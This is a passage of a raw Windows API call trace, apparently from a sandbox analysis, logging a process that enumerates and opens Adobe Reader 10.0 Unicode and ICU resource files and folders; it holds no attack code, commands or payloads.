lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x345f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt26l.dat", cAlternateFileName="")) returned 1 [0084.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.442] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x345f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt26l.dat", cAlternateFileName="")) returned 0 [0084.442] GetLastError () returned 0x12 [0084.442] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0084.442] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0084.442] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.442] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl_gb18030.cnv", cAlternateFileName="")) returned 1 [0084.442] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x345f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt26l.dat", cAlternateFileName="")) returned 1 [0084.442] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x345f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt26l.dat", cAlternateFileName="")) returned 0 [0084.442] GetLastError () returned 0x12 [0084.442] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0084.443] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 1 [0084.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6db8 [0084.443] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0084.443] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0084.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.443] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0084.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.443] NtClose (Handle=0x174) returned 0x0 [0084.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d6db8) returned 1 [0084.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6db8 [0084.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6ec0 [0084.445] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0084.445] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.445] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0084.445] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mac", cAlternateFileName="")) returned 1 [0084.445] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 1 [0084.445] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 0 [0084.445] GetLastError () returned 0x12 [0084.445] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0084.445] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0084.445] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.445] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0084.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6cb0 [0084.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0c88 [0084.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0084.479] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0084.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.480] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0084.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.480] NtClose (Handle=0x174) returned 0x0 [0084.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12e0c88) returned 1 [0084.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0c88 [0084.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0d90 [0084.481] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0084.525] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.526] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f76c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKSCS.txt", cAlternateFileName="")) returned 1 [0084.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0e98 [0084.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef848 [0084.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0fa0 [0084.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.528] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8346b240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3229c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Japanese83pv.txt", cAlternateFileName="")) returned 1 [0084.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef868 [0084.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e10a8 [0084.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.530] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19ea7, dwReserved0=0x0, dwReserved1=0x0, cFileName="JISX0208.txt", cAlternateFileName="")) returned 1 [0084.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef888 [0084.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e11b0 [0084.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7f00) returned 0x12bb0b0 [0084.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ea380) returned 1 [0084.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.532] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x29ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JISX0213.txt", cAlternateFileName="")) returned 1 [0084.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef8a8 [0084.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e12b8 [0084.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.534] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x288d, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbol.txt", cAlternateFileName="")) returned 1 [0084.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef8c8 [0084.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e13c0 [0084.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.536] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zdingbat.txt", cAlternateFileName="")) returned 1 [0084.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef8e8 [0084.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e14c8 [0084.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.537] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zdingbat.txt", cAlternateFileName="")) returned 0 [0084.537] GetLastError () returned 0x12 [0084.537] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f40 [0084.538] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0084.538] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.538] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f76c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKSCS.txt", cAlternateFileName="")) returned 1 [0084.538] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8346b240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3229c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Japanese83pv.txt", cAlternateFileName="")) returned 1 [0084.538] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19ea7, dwReserved0=0x0, dwReserved1=0x0, cFileName="JISX0208.txt", 